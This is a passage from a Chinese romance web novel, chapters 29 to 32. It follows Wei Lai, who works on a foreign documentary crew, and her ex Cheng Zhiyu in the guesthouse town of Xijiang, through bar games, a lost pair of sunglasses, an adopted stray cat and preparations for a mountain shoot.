心里忿忿。
是她说的不要再联系,那又怎么了?
她有说过他可以对她甩脸色吗?
危涞抿唇,他算什么东西。
制定规则的人拥有解释的权利。
肩上的重量一轻,高大的身影擦过她头顶的发,她撞进男人冷峻的眉眼。
被吓了一下,很快找回自己的气势,“我要你帮忙?”
程知聿没什么感情,浅浅盯她,宽厚的手掌轻松抓住笨重的设备包,一句话也没说。
他的步子本就比危涞大,她小跑两步,干脆放弃。
手心还残留着被包带勒出的红痕,盯着他冷漠的背影皱眉。
搞什么?
29. Chapter 29
他要提就让他去提,危涞乐得轻松。
她一边享受着男人给的好处,一边冷眼看他,用最恶劣的想法猜测他:要不是贼心未死,他犯得着凑上来吗。
程知聿望着远处放空。
今天存粹是给向仲明帮忙,不过想也知道,这是纪成安的事情,他把事情托给向仲明,向仲明又把事情交给他。
偏偏程知聿还得守到他们收工,再负责把人送回酒店。
他坐在户外椅上,不是端庄的坐姿,风吹起头上的发,带来几分颓废,桌上的电脑摆着,亮着页面没人管。
“很有意思对吗?”
“……”程知聿转头,是刚才和危涞走在一起的外国人。
他不懂他的意思,所以没有说话,看着摄像机旁忙碌的人。
“抱歉,我不会说中文。”柯特以为他不懂英语,磕磕绊绊,好不容易把这句话说出来。
“我叫柯特。”
他对上男人含笑礼貌的表情。
柯特没想到程知聿能说一口流利的英文,自来熟在他面前坐下,“你喜欢拍摄吗?”手里还拿着两杯路边小摊上买的果汁,分一瓶给他。
“知道阿诺德导演。”念书时班上没人不知道他执导的某部电影,火遍大江南北。
柯特笑笑,“他是危涞最喜欢的导演,没有之一。”
“他的电影每一句台词危涞都记得清楚。”
“对了,你知不知道她的工作是什么?”
程知聿不知道他为什么要提起危涞,他看得出他们关系好,但并不觉得柯特是在炫耀。
“不清楚。”
柯特轻声嘟囔,看来是真的和他不熟,不然怎么会连这都不知道。
程知聿发觉一道不满的视线,“你还是离我远点,别让你朋友不高兴了。”
他自觉苦闷,唇边却是笑。
柯特没当回事,阿诺德要求极多,这个景已经是重拍的第三次,危涞哪有时间盯着他,再说,她不是说过和面前的男人之间什么都没有吗。
既然什么都没有,那为什么不高兴。
见他喋喋不休地往下说,程知聿笑着指指电脑,“抱歉,我正在工作。”
柯特愣住,“打扰了。”
他终于走开,程知聿也没觉得轻松,余光扫过,果然看见那人指着青年抱怨,看口型,说的是:“叛徒。”
柯特张开手后退,“我做什么事情对不起你了?”
危涞狠狠瞪了一眼远方,又狠狠瞪着面前青年,“叛徒叛徒叛徒!”
她明明说过要柯特和程知聿保持距离的!
柯特好无奈,就这样子还说和他没关系呢,到底谁在信。
“你再和他一起我们就绝交!”她说得认真,柯特扶眉,看来两人之间真有天大的事。
危涞喜欢漂亮面孔他是知道的,对着漂亮的人她总会多一点耐心,可。
哪怕是以内部选角的角度来看,程知聿明明就长得很好,危涞对他却没有半点好心。
“知道了——”柯特拉长声音,显然没放在心上。
天色慢慢暗下来,集市摊贩该收摊收摊,天光暗淡,见拍不出想要的画面,阿诺德也只好喊话收工,顿时欢呼声一片。
工作一天早已经饥肠辘辘。
危涞喊柯特等她,她的包放在小店里存着。
得到肯定的答复,她才放心离开。
回来时街边已经挂上夜灯,稀落的摊贩正在打扫卫生,她皱起眉头找了一圈都没看见熟悉的人,“你人呢?”
“导演喊,我跟着先走了,你看见留下接你的人没有?”
危涞想,好在柯特还有点人性,没留她一个人。
她抬头远远看见路灯下,那辆沉默的车连位置都没有移动,安静地等待。
像夜间蛰伏的兽披上温和的伪装。
原来柯特留下来的人是他。
危涞已经分不清楚程知聿是故意还是什么,早上还是生人勿近的模样,现在所有人都走了又剩他一个人留下来。
她只把他当作司机,拎着包坐进后座,一句话都不说。
他也沉默地配合,转动方向盘。
短暂间只有时间流逝,和窗外不停流转的夜景,枝桠上的彩灯闪烁,闯入一片绚烂的世界。
这样最好。
谁都别搭理谁。
程知聿目视前方,听见女人的声音高傲响起,“你不要自作多情,我来溪江是为了工作,和你没有关系。也不要假惺惺装深情,结束了就是结束了,我不吃回头草。”
她把今天他的出现归结为是为了她。
危涞听见程知聿笑了一下,远不及心底,他转方向盘的动作漏出手腕,腕间筋脉分明,却显眼地多了一根红绳,她嘴角的动作僵住。
在溪江住过一段时间,危涞怎么可能不知道这是什么意思。
她的脸烧起来,又恼自己什么时候发现不好非得在她说完这句让人嘲笑的话之后,是了,他们分开这么久,他有接触的人也正常。
“你放心,我很有自知之明,今天只是给纪成安帮忙,以后不会再来。”
反倒称得危涞不讲是非。
他说完这句话,危涞几乎着起火来,咬唇红着脸看向窗外,错落的树干生长,她心里乱作一团。
她不喜欢他不把自己放在眼里的样子。这是一种落差感,危涞长这么大,从来都是她不给面子,让别人难堪,现在却被程知聿走在前面。
她心里不舒服。
却也不能像小孩一样随便找个男朋友,大张旗鼓带到他的面前。
车里安静,只剩导航的机器女声,“直行一百米,向左转入汉阳江北路。”
“到了。”
程知聿把车停下,变相下了逐客令,他没有下车的意思,面板的光打在脸上,映出优越的眉眼,他的表情让人猜不透。
危涞手推开车门的瞬间突然想起,他从前还会特意拐到侧边给她开门。
空荡荡的感觉。
直到那辆车驶离。
危涞倒灌了一口凉气,被酒店的灯光亮得晃眼,她想借墨镜挡住面上的苍白,往头上一摸,什么也没摸到。
这才想起。
她把墨镜落在程知聿车上了。
危涞骂了声,烦躁地抓头发,打电话要他送回来?
他会不会觉得她心机深重,半小时前还摆的是高不可攀的架子,半小时后又借口有东西落在他车上。
她站在原地来回想,最后还是认命放弃。
一副墨镜而已……
可是她最喜欢的墨镜之一。
她气恼,最终在群聊里找到纪成安的联系方式,敲下几个字。
“我的墨镜掉在程知聿车里,麻烦你下次帮我带过来,谢谢。”后跟了一个微笑的黄豆表情。
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纪成安摸不着头脑,他为了岔开程知聿和危涞明明是喊向仲明替班,怎么又变成程知聿?
而且,这个黄豆表情真的有“麻烦”和“感谢”吗?
康贻在院子里逗猫,抬头看见程知聿把车停在门口,“你去哪里了哥哥。”
她分明听见外婆说表哥今天休息。
“哪来的猫?”程知聿看见地上的肥猫不怕生的露出肚皮撒娇,看见生人进来也只是翻身伸了个大大的懒腰。
“自己溜进来的。”康贻伸出手指逗它。
被母亲训到:“别去惹它,被咬一口就知道疼了!”
康贻不听劝诫,大着胆子抱起来,这猫毛色长得好瞪着漂亮的玻璃眼睛朝程知聿撒娇,“喵呜~”
“可以养吧?把它养在家里怎么样?”她眼睛亮亮,询问程知聿的意见。
“谁来照顾。”程知聿不理她的请求。
“哎呀!你怎么这样!你忍心看着它在外面连饭都吃不饱吗?”
为了应证康贻话的真实性,这只灰白毛色的猫果真可怜兮兮,再度“喵呜”一声。
膘肥体壮,哪点像吃不饱饭的样子?
“康贻,你别捣乱了。”康曾文喊,“知聿你来,我有事和你说。”
“怎么了姑父。”
他神秘兮兮拿出手机,“你看,这是我选的几只股票,你帮我看看。”
程知聿看着他的手机界面。
康曾文便急急解释,“这钱是我跟着朋友投资赚的,你姑姑知道。”
他又递进了些,“你快帮我看看?”
程知聿想,其实他选的这几只都不怎么样,姑姑一直反对他炒股。
前些日子亏了大的,才停手不久,赚了点钱又迫不及待投进去。
他给康曾文指了只稍微拔尖的,还嘱咐:“剩下几只可以抛掉。”
“好、好。”康曾文握着发烫的手机,还分出手拍他的肩膀,“你去忙吧。”
晚上吃饭时康贻突然提起,“镇上有人在拍纪录片,听说来的是大导演,哥你知不知道?”
“不知道。”
“我想也是。”康贻小声嘀咕,“你那个朋友肯定知道!”
“谁?小纪吗?”林秀禾给程知聿盛了碗鱼汤,“他的工作好辛苦的。”
程知聿没有诋毁纪成安在老人眼里的形象,可事实就是,他把工作推给他,然后在外潇洒了一整天。
“喔——”康贻惊呼,举起手机,“你们看这是谁!”
程知聿紧了紧筷子,在场四人只有他没抬头,一点都不关心。
“这是小涞姐姐吧!”康贻放大再放大,举着像素点,疑惑,“她来溪江了怎么不住我们家?”
程知聿放下筷子,“我吃饱了。”
康贻瞬间停了声音,她忘记了……
她哥是被抛弃的男配角。
“还真是。”林秀禾翻出老花眼镜戴上,又喊程知聿有时间喊她回来吃饭。
“我没时间。”他回答得果断。
程萍也觉得应该请人吃顿饭,毕竟她帮忙招待了自己的女儿,“要不我做局,喊上她咱们一起吃顿饭?”
一向最激动的康贻如今一点声音也没有,心里的小人抱着树撞头,“不要啊!”
“知聿什么时候有空?”
程知聿挽起袖子,露出手腕的红绳,“我真的没有时间。”
30. Chapter 30
这只肥猫懒洋洋地躺在民宿大堂里,林秀禾赶了几次没能成功,小云儿和何闯闲着没事又总是给它喂小零食,一来二去真把这当成家了。
入住的客人好像也很喜欢这只眉毛上一点黑的懒猫,不止一次问过程知聿它叫什么名字,他不厌其烦地解释:这是只跑来的野猫。
有个小客人尤其喜欢这只蹭吃蹭住的猫,每回跟着爸爸妈妈回来总要在楼下停留,伸出手依依不舍,她抬起小脸,可怜兮兮:“爸爸妈妈不让我养小猫。”
“依依!妈妈说过小猫有细菌。”女人赶紧把孩子抱走,指责道:“程老板,你家的猫打过疫苗没有。”
程知聿沉默,看向地上摊成猫饼的肥猫,大手一捞。
手上沉甸甸的。
果然很有分量。
“喵呜!”它挣扎两下,被男人摁住,低沉的声音:“别动。”
程知聿回来的时候带回一只怏怏的猫和一堆宠物用品。
“带去打疫苗了?”林秀禾逗逗猫的下巴,得到一声有气无力的呜咽。
程知聿松手,它立马从手臂里飞快跳下,躲他十万八千里。
“老板,你被记恨了。”何闯幸灾乐祸,从零食堆里摸了支猫条,凑到小猫面前刚要打开,被程知聿抽走,“还吃,看不见它多肥?”
“洗澡是不是要按超级大肥猫收费?”小云儿凑上来问。
“有这么胖吗?”何闯不相信。
林秀禾双手差点没能抱起来,抹了把虚汗,“是得减减肥。”
何闯又闹着给猫取名字,“叫什么名字?点点?”
小云儿骂他:“这也太土了。”
程知聿管生不管养,随他们去讨论。最后定的名字还是点点,因为它眉头上长着一块斑点。
夜深了。
何闯趴在桌子上呼呼大睡。
这只叫做点点的猫舒服窝在程知聿买的窝里,程知聿修长的身形在它面前蹲下,手腕间露出红绳,手指像梳子一样,一下下抓过点点的背。
它发出呼噜声。
男人轻笑了声,“肥猫。”
……
阿诺德大发雷霆,剪辑师失误导致母带丢失,白胡子老头用听不懂的语言呵斥,金发青年缩起脖子像鹌鹑一样挨批。
危涞撞一下柯特,“你不去劝劝?”
柯特摆手,“你是想让我分摊战火吗。”圈内人谁不知道阿诺德导演是出了名的好说话也是出了名的脾气差,工作时候就算是他九十岁的母亲颤颤巍巍端着红茶点心敲门也会被轰出去。
“丢掉的片子怎么办?”
“找不回来就只能补拍,但那个景是导演最喜欢的一支,而且最近天气不好。”柯特分一把糖给危涞,又往嘴里丢了一块。
“你的医生让你吃糖?”
柯特做了一个“嘘”的手势。
今天注定放假。
而柯特是个闲不下的性子,拉着危涞往酒吧跑。
危涞打住,从口袋摸出两个钢镚,“先说明,我很穷。”
柯特用哥俩好的姿势,“请客是绅士的礼仪。”
这家酒吧门头用霓虹灯带拼出名字,简洁的明色英文字母,除此之外都是黑色。
危涞看着熟悉的字牌和下行楼梯旁的垃圾桶,陷入沉思。
“怎么了?”柯特奇怪。
危涞摇头,两人走进去,立刻有人注意到柯特的白色面孔,迎面上来同他击掌,“外国友人!”
柯特跟着音乐舞动,经过只后换下笑脸问危涞:“他刚刚说什么?”
危涞在心里翻了个白眼。
听不懂你装什么热络。
两人在吧台坐下没多久,身材热辣的美女走上来搭讪,“嗨,有兴趣和我们一起吗?”
她指向那边的卡座,几人遥遥招手。
“不用……”
“当然可以!”柯特比她先做出回答。
危涞拧他的手,这人摸出手机翻译页面,低声求道:“去嘛,漫漫长夜怎么能就我们俩。”
危涞半推半就在沙发边坐下,那女孩挽着男友的手,态度亲昵。
“我叫小佳,这是我男朋友。”
男生笑着同两人打招呼,女生环视一圈,“就我们四个也不好玩。”
她伸手喊:“向老板!你有时间没有!”
为首的男人望过来,危涞皱眉,她见过他,在京市的时候。
原来他和程知聿认识。
眉心突突跳,她猛地侧过头,“我不玩了。”
说完起身就要走,被柯特拦住,“只是玩游戏而已。”
危涞狠狠瞪他一眼,“要玩你自己玩。”
走的什么运偏偏在酒吧遇见程知聿。
向仲明挑眉问:“玩不玩?”
程知聿今天穿了一件宽大的休闲衬衫,领口处系了个结,衣袖挽起,筋脉间的红绳依旧显眼。
“不玩。”他靠在吧台边喝酒,连头都没回。
冷漠无情。
“要不要这么苦大情深,不知道的人还以为你们有杀父之仇。”向仲明不管程知聿的意见,翘起二郎腿坐进沙发,“好巧呀,小美女。”
危涞忍住冲动,挤出一个笑。
“你们认识?”柯特晕了,怎么哪里都是她的熟人。
“不认识。”危涞咬牙切齿。
“你朋友不一起来吗?”小佳问,他们这人数还不够呢。
“别管他,我们先开始。”向仲明熟练的摇骰子,“怎么玩?”
小佳说:“先来个简单的,你有我没有,怎么样?”
在座人都没有异议,“从我开始,我有亲吻的对象。”
只有危涞折下一根手指,她耸肩,认命拿起酒杯。
小佳男朋友:“我玩过角色扮演。”
危涞默默弯下一根,不可置信,“你也玩过?”
柯特咳嗽两声,“情到深处嘛……”
向仲明笑,“看不出危小姐这么——”他故意停顿一下,“单纯。”
危涞一口气喝下酒,脸微微红,“也看不出向老板这么放荡。”
“我从来没有连着工作一周后,马不停蹄赶向京市。”向仲明看似无意。
“这什么问题?”小佳奇怪。
危涞举着三根手指头终于松了口气,向仲明看着她眼里藏着意味深长的笑,举起酒杯。
她回过神来,也察觉出不对劲,总觉得他话有所指。
“我从来没有对前任念念不忘。”
危涞手指□□,他说的是对前任念念不忘,那人的视线不知道什么时候转了过来,冰凉的像银行卡余额,危涞被呛住,咳嗽了好久才缓过神,再抬头,他早已经若无其事地移开。
仿佛是她的错觉。
危涞接过接过纸巾皱眉,她干嘛要心虚?
“差不多行了。”向仲明放在桌上的手机亮屏,他随意一瞥,“换个游戏吧。”
“抓手指怎么样?”笑眼弯弯,像只老练的狐狸。
柯特不懂,危涞贴近他耳边告诉规则。
“还缺人吗?”温润的男声响起,几人都把视线投过去。
他太高,灯光太昏暗,危涞看不清楚,彩灯晃得眼疼,她默默移开视线。
心跳一下子加快。
“缺!”小佳激动,拍拍旁边的位置,“欢迎帅哥!”
小佳做前摇,跟着音乐来回摇摆,做了几个假动作后突然竖起大拇指。
危涞慢了一拍,赶快跟着叠上去,本以为这杯酒自己喝定了,没想到还有比她更慢的。
这人一点都没有竞赛精神,几乎是等着危涞的手登顶后才慢悠悠握上去。
“喝!”小佳男朋友起哄。
程知聿喝完这杯酒,撞上好友戏谑的目光,他幽幽转开。
又开一局,危涞懊恼,又是她最后!
斜眼一看,发现程知聿干脆没有
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动作,她皱眉,他究竟会不会玩?
另一敲柯特,“你能不能慢一点?”到现在一杯酒都没喝,语言代沟都去哪了?
柯特不解,“最后的人不是要喝酒吗。”
危涞的视线有意无意落在程知聿身上,她发现他也不总是最后一名,但几乎都在她后面。
有他在,危涞成功避开每一杯应该落在自己头上的酒。
玩完几轮向仲明又说换,他要玩国王游戏。
他熟稔地洗牌,除大王牌外还抽出六张。
国王亮牌。
向仲明手指夹起手牌,唇边勾起笑,“一号和三号拥抱一个。”
柯特抽到三号,他大方站起来给一号小佳男朋友一个大大的拥抱。
“四号请回答在座有没有自己心动的人。”
向仲明翻开手牌一看,自己拿了四号的牌子,视线在每位参与者的面上划过,最后无奈,“没有。”
纪成安姗姗来迟,自来熟在向仲明身边坐下,“在玩什么?”
这一轮顺其自然把他加进来,国王是柯特,“一号和五号十指相扣玩一轮,一号和在座任意一位对视一分钟。”
危涞摊牌了,她是一号,她气声问柯特,这么看不得我好?
柯特耸肩,“游戏而已。”
小佳探头,“谁是五号?”
程知聿翻牌,抵在牌上的那只手匀称干净。
“哇喔!”
发现是他,危涞挑衅地挑眉,他不着痕迹躲开,又撞进向仲明看好戏的眼中。
“游戏而已,程老板不会玩不起吧。”
危涞笑着笃定,他落定下风。
他被她如炬的目光盯着,众人的目光也落在他身上,闹哄哄的一片。
“有什么玩不起。”他干燥的大掌抓了上来,对准指缝,滚烫的十指紧贴。
酥麻的电流从指尖穿过。
危涞骤然拧眉,扯开手向后。
被他扣紧手指拉向前,掌心的脉络相贴,无形中重合在一起。危涞他的力道很大,轻而易举把她抓在手心,她想要甩开,仅两人听得到的声音,带着温润的笑,恶劣得可怕:“你玩不起吗。”
酒精作用,危涞的耳根通红。
“你发什么神经!”
“呵。”
他的指腹更是无礼,像得到一块爱不释手小心呵护的礼物,在她手背细腻的皮肤上摩挲。
她从头到脚都不自在!
有点发软,躲开他温柔眷恋的目光。
低下头。
被柯特催促,“还有一个任务呢。”
场面吵闹,哄笑着要两人加快动作。
纪成安撕开一包零食,事不关己,高高挂起。
危涞咬唇。
下一秒,她扯着人领子向前,“你做什么!”
他差点被勒死!
“做任务。”她抓着领子的手收紧,藏着气。
“做任务你找我做什么,你找……”对上那道不温不凉的视线,他声音一下弱下来,心里把这两人骂过千遍,“真是操了。”
她一手和程知聿十指相扣,眼睛死死盯着向纪成安,纪成安坐立难安,他看也不是,不看也不是。
头皮发麻。
柯特开始计时,纪成安只觉得度秒如年。
他以后要怎么面对程知聿,表情开始变得悲怆,眼神变得空洞。
危涞怒道:“你有必要这么壮烈吗?”
纪成安呆呆点头,有必要的。
他的思绪早已经放空,而她的手还被那人抓在掌中,除了掌心的炽热,什么都感觉不到,什么都与她无关。
身子软下来一片,“啊!”她轻呼。
掌心仿佛被划过一片羽毛,很轻很轻,很痒很痒,危涞再也忍受不了,迅速抽出手。
她半秒钟都坚持不住了。
灼烧的酒沿着食道滚下,她一口气干了两杯,就当她玩不起好了。
31. Chapter 31
场子都散了。
向仲明“啧”两声,“今天的酒记在你账上。”
“凭什么?”程知聿靠在吧台前点起一支烟,修长的手指夹着。
“你自己惹出来的麻烦,不知道我店里做的是回头客生意?你觉得她还会再来?”
他摁灭,头也不抬,“找纪成安要。”
纪成安已经在旁边装鹌鹑很久,一下怒了,“和我有什么关系!”
这俩神精病。
他愤愤道:“以后她的事别找我,你的事也别找我。”
纪成安话音刚落下,又听见熟悉的女声去而复返,“纪队长,你出来一下。”
纪成安动作变僵硬,缓缓看向程知聿,他跳进黄河也洗不清。
“我们俩真没关系……”
程知聿低着头没有动作,清瘦的臂膀背对声音来处,手指抓着酒杯,沾了水汽,在杯壁上漫无目的地画,也不知道是信还是不信。
十几年的兄弟情摇摇欲坠。
“你信我啊!”纪成安再一次为自己正名。
向仲明完全一副看热闹的嘴脸,居然还笑得出来,“你们俩到底谁去。”
桌边的男人无动于衷,纪成安挠了把头发,把椅子踢开,“哐当”。
“什么事!”他站在危涞面前,不客气。
危涞朝他伸出手,“我的墨镜呢?”
纪成安无语又无语,正主就在眼前,她不直接问程知聿,非得把他夹在俩人中间,他上辈子抢老奶奶塑料瓶了?至于这么罪孽深重。
“他的车就在外面,我建议,你要是实在不想和他说话,就一锤子把他车玻璃敲碎好不好?”
“修车的钱你付?”
纪成安拍手,眼神像在看一块不开窍的木头,“你就不能找个隐蔽的地方再砸吗!”
外人眼中,热络又亲密。
“火都烧到家门口了,你还不着急?”
程知聿不像把他的话放在心上,抓起椅背上的外套。
“走了。”
他侧身,在争吵不止的两人面前站定,长长的影子斜下来。
“麻烦让路。”声音又沉又稳。
危涞抬头瞥他,他的目光若有若无飘在自己身上,她不觉扣紧手掌心,好像那点微不足道的痒意仍在作恶。
程知聿的衣服上带着淡淡的烟草气息,眉眼无情,又薄又凉,他的外套松松垮垮挽在手臂上,露出的皮肤能透过窥见底下蓬勃的肌肉。
危涞眼皮跳动两下,咬下唇让开一步。
他的身影擦肩而过。
一点停留都没有。
就像他自己说的那样,玩不起的人是危涞。
危涞抓紧纪成安的衣领,“你信不信我和蒋主任告状?”
纪成安骂她:“卑鄙小人!”
讲不赢他就要告状。
他实在不想被领导当作“表率”在大会上提出,瞪着眼睛盯了危涞好一会,“我去帮你要行了吧!”
明月高挂。
程知聿把车从车位里开出,被人敲响窗户,颇为不满的男人怨念深重,他伸手去拉后座车门,一下没拉开,又回到主驾驶旁边,“她墨镜呢?”
他顺其自然说出这个字,程知聿头也没抬,衣领系上的结歪了一点点,“丢了。”
“你有病——!”纪成安“咻”地噤声,看向不远处站着等待的女人,激动道:“你知道多贵吗?”
“几个月工资!”
程知聿替他更正,“是你几个月工资。”
“你赔?”他气恨他这副资本家的嘴脸模样,“你什么时候丢的,丢在哪个垃圾桶。”
“我想想,傍晚时丢在民宿门口。”
纪成安头也不回。
程知聿笑着把车身摆正,“要不要我送你?”
……
危涞没有等到她的墨镜,等到了程萍的来电。
她有点头疼,没有联系本就是因为和程知聿的尴尬关系。
危涞撒谎:“要和剧组一起行动,所以好忙的。”
程萍也表示理解,“你不忙的话就过来玩。”
危涞“哈哈”两声,“好的阿姨。”
她挂断了电话,听见导演喊:“wren!”
“我们打算换个酒店,这边离拍摄地太远了。”
来来回回都需要接送,限制了他们也对工作人员不友好。
还有一点,虽然说星级酒店确实好,但每住一晚都是经费在燃烧,阿诺德附加道:“搬到古镇里边去,你帮忙找个经济一些的民宿,环境能看的过去就行。”
他停了一下,“你的标准可以更高一些。”
危涞皱着眉笑,“中国有句话说‘男的当牲口用,女的当男的用’,一视同仁啦。”
况且她的工作相对于其他人来说本来就轻松得多,再要求特别待遇,实在是不知好歹了。
阿诺德笑着把这件事交给危涞。
她第一时间就排除了某家民宿,另选出来的两家,一家靠近巷子口,太吵闹开车通行也不方便所以被踢除。
另一家的位置很好,但和程知聿家挨得太近。
危涞正在纠结,柯特咬着三明治,“怎么不选这家?”
他的手指停在好评榜第一的民宿。
好评第一条就是:
“交通非常便利!房间很干净!老板很帅,工作人员都很热情,店里还有一只大肥猫,嘿嘿。下次来溪江还住这家!”
危涞看他一眼,“你住过?”
柯特摇头。
“实践是检验真理的唯一标准,其实这家民宿的老板不仅是丑八怪,还是个无底线的变态。”
柯特难得沉默,“我是去住酒店又不是睡老板,他长得丑不丑有什么关系?”
危涞没好气,“反正不住这。”
他们最终住进这家离得近的民宿,老板娘很热情,帮忙搬行李的时候眼熟多看了危涞几眼,“我记得你不是……”
危涞礼貌地笑:“我长得太大众,认错也正常。”
老板娘奇怪:“是吗?”
她什么时候老眼昏花到这种程度。
离得太近,危涞每天出门都提心吊胆,某天出门时被不知道从哪蹿出的肥猫吓到,脚滑一下差点摔倒在地。
同行伙伴连忙抓住她的手,盯着那眉上一点黑的猫屁股,嘟囔:“好肥的野猫。”
林秀禾种的花长得好,街头巷尾的邻居和她
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的关系也好,她采下一篮子往各家送。
她拎着一篓子花团锦簇,隔得老远就同对方打招呼。
民宿老板娘笑着接过她的花,“这花长得好。”
林秀禾坐下和她一起编竹篓子,细细的竹片一支搭着一支,很快就出现篮子的雏形,她看见外边停得满满当当,问道:“最近生意好呀?”
“还可以,来了个拍东西的组,全是外国佬嘞!说的话叽里咕噜一句都听不懂,还好有个漂亮姑娘在,不然真是不知道咋办。”
林秀禾手上慢下来,想到康贻说的危涞也在个拍片子的组里。
“这姑娘长得好,我看着眼熟,想说是不是先前在你们家住过,她还哄我说什么自己是大众脸,咋没看见我长她那样。”
老板娘动作不停,最后干净手起身,“等我会儿,我给你拿点点心,都是刚做出来的!”
林秀禾“诶”了声,沧桑的眼尾多了几道纹。
她又拎着一袋子点心回家,腿旁跟着一只体型像“煤气罐”的猫,慢慢悠悠。
程知聿在院子里除草,轻快的打扮,腰间围了块带口袋的短布,撸起袖子,手套上沾着泥,他额头上冒出点汗,点点短腿一跃飞快从身边跑走。
林秀禾愁容满面。
他擦了汗,还有些热,“怎么了?”
林秀禾拉过矮板凳坐下,“你是不是和人吵架了?”
“谁?”程知聿皱眉。
林秀禾一拍他的手臂,清脆一声响。
“那人家怎么不住我们家?”
程知聿吃痛,好笑,“她住在哪里是自己的自由,你管这么多做什么。”他低头继续干活。
从他们搬进田阿姨家的那天街头巷尾就传遍了,那么大的阵仗,还都是外国人,想要装不知道都难,为这件事向仲明在他面前说过几次,把程知聿从上倒下打量一边,啧啧作响,“按道理不应该呀,该有的都有,也不知道你哪点不招人喜欢。”
程知聿气喘吁吁,脖子上挂了一条毛巾,捡了个球用力砸过去,被向仲明一手抓在手心,青绿色的球被随手丢在地上,“程老师可怜喔~”
程知聿失笑,一个两个都把原因归结到他身上。
那天和向仲明打完球,傍晚时分,他背着网球拍经过田阿姨家,余光扫见有个毛绒绒的头猫着腰躲在墙角,缩成一团,生怕和程知聿碰上面。
他也是幼稚心作祟,站在田阿姨的院子外打了半小时电话,唇边勾着自己都没发觉的笑。
“死程知聿,怎么还不走......”危涞猫在角落里,手拍打麻木酸软的小腿,嘀嘀咕咕变着花样骂他。
像只叽叽喳喳的麻雀。
程知聿笑,适时同电话那边收尾,“剩下的晚点说。”
她如释重负,撑着墙艰难站起来,刚冒出个头,又听见那人说:“还有件事......”
她飞快蹲下,腿实在酸的撑不住。
程知聿笑意更深,对着挂断的电话那头,“还是晚点再说吧。”
他才转头离开,危涞扶着腿气不过,拔了根野草丢过去,轻飘飘掉在地上。
“猪头啊。”
“我祝你生意黄掉......”她一瘸一拐。
32. Chapter 32
程知聿一怔,又听见林秀禾自说自话一样,“算了,你这个木头脑袋,问也不知道。”
林秀禾弓着背走进去,嘴里还在不停念叨。
“......”他抓紧了工具,最后自嘲地松开,点点扭着屁股到主人面前,慢悠悠伸了个懒腰,发出“咕噜咕噜”的响声,然后若无其事地走开。
感受到它的嘲笑,程知聿笑一声,扯下手套丢在一旁,捞起点点,“还有两针疫苗没有打。”
“喵!喵!!”点点伸出爪子要跑,喊得撕心裂肺,被无情的主人塞进出行包。
他指指小猫头,“喊破嗓子也没人来救你。”
程知聿打开发动机,看见被他放在扶手箱里带logo的墨镜,眉眼低垂,不知道在想什么,点点不停哀嚎。
他收回视线,转动方向盘,“这就带你去打针,别嚎了。”
只剩一只瑟瑟发抖的怂猫。
阿诺德和成员商量上山,这个季节是上山最合适的时候,万里无云,也是溪江新一波的旅游高峰。
阿诺德很重视这个景的拍摄,换句话说,选中溪江作为拍摄地的很大一部分原因,其中就有阳宁雪山。
危涞惴惴不安,“什么时候上山?”
她站在阳光底下泛出冷汗,锥骨的冷意从血液各个细胞里钻出。
“还没确定呢。”柯特打了个喷嚏,“他们在找向导。”
“blessyou。”危涞脸色泛白。
柯特揉揉鼻子,“注意保暖,你面色看起来不太好。”
危涞捧着茶杯,氤氲的热气升起,她把脸藏在红茶的香气里,听柯特接着说:“听说我们的向导是那个和你不对付的男人。”
她心一紧,“程知聿?”
柯特皱眉,“这是谁?好像姓纪,是那个常来接送的男人。那天我们在酒吧是他也在。”
她手心滚烫,耳朵也烫红一片,原来是纪成安。
他往不远处一指,“就是他!”
危涞头也没抬,向导是纪成安实在是再正常不过的事情,她有点懊恼,对自己不假思索说出程知聿这三个字。
“他过来咯。”柯特从栏杆上侧身翻下,和纪成安打招呼。
危涞对柯特的自来熟见怪不怪。
纪成安穿得正式,从包里翻出一只绒布袋子,“喏。”
原来是她的墨镜。
“这么久才拿给我,还以为被你拿去私吞了。”危涞接过,“谢了。”
纪成安很无语,“我只求你们的事情自己做。”
危涞装傻,“不懂你说什么。”
他来得快,只说了几句话又匆匆离开。
临走前,有些担忧,“你上山没问题吧?”
危涞握紧了些茶杯,唇色苍白,扯出一个笑,“没问题。”
“你们在说什么?”柯特对他们用中文加密通话的行为极度不满,“不要歧视外国人好不好。”
危涞搪塞两句,柯特果然把注意力转移到别的话题上。
上山的事情很快定下来,危涞裹紧外套,依然觉得四处透风,“你冷不冷。”她问柯特。
柯特背着行囊奇怪看她一眼,今天天气很好,穿薄外套都能冒出汗,怎么会冷。
“你发烧了?”说着就要用手去探危涞的额头。
白胡子老头对着大家拍掌,穿浅色冲锋衣的青年笔挺高拔站在阿诺德旁边,他笑着对众人说:“这位是我们今天的向导。”
危涞发着抖,顺着大家的目光朝那抹浅色望去,男人的脸上挂着疏离的笑,他很少穿浅色的衣服,阳光一打,连头发丝都在发光,她不自觉就看入迷。
直到他清清淡淡的视线望过来,危涞才骤然回神。
匆匆躲开柯特的贴在自己额头上的手,“我没事。”
程知聿声线平稳,就像没看见一样,“阳宁雪山地域辽阔,存在未开发地区,上山后一定要跟紧队伍,不要掉队。”
“山上的气温比山下低,记得多带件厚外套。”
柯特还拉着危涞说悄悄话,“你留在下面休息?”
危涞摇头,“我可以的。”
她穿过人群,对上说话那人微凉的目光,噎了一下,有种上课被老师抓包开小差的心虚感。
程知聿又重复一遍,阿诺德再度拍手,“准备好我们就出发。”
危涞、柯特、阿诺德以及副导一辆车。
阿诺德在讲他年轻时游历中国的经历。
“我去过长城、故宫,还有皇帝祭天的地方,那叫什么?”他奋力想要记起名字,胡子抖动几下,眉头紧皱。
“天坛?”副导问。
“对、对的。还有很多有意思的胡同,我记得一条,叫做皮库胡同。”
他打开了话匣子,一兜接一兜往外倒。
“我记得wren是京市人?”
危涞突然被cue,表情有点呆,“是的。”
阿诺德感慨一声,靠在椅背上,神情模糊,“很多年前我也认识一个中国人,好多年没有联系,不知道她现在怎么样。啊,她是个很厉害的女人。”
“她是做什么的?”危涞无意问起。
阿诺德摇头,“我不记得,我们认识的时候她还年轻,但有一个可爱的女儿。”
看来是英年早婚。
“希望她过得不错。”阿诺德耸肩。
他抬眼,视线擦过后视镜中年轻女孩姣好的脸庞,恍惚一瞬间,又自嘲地摇头。
危涞一点睡意都没有,小车沿着山路弯弯绕绕,眼一睁一闭又是一个转弯,柯特被晃得五脏六腑都要吐出,举起手,“我…我要休息一会儿……”
阿诺德笑,“山路十八弯啊。”
然而,这还没有二分之一的路程,见他们停下,后面的车也都紧着靠边。
程知聿打开车门,看见柯特蹲在路边难受得厉害,从后备箱拎出一兜子药,倒出一颗递给他。
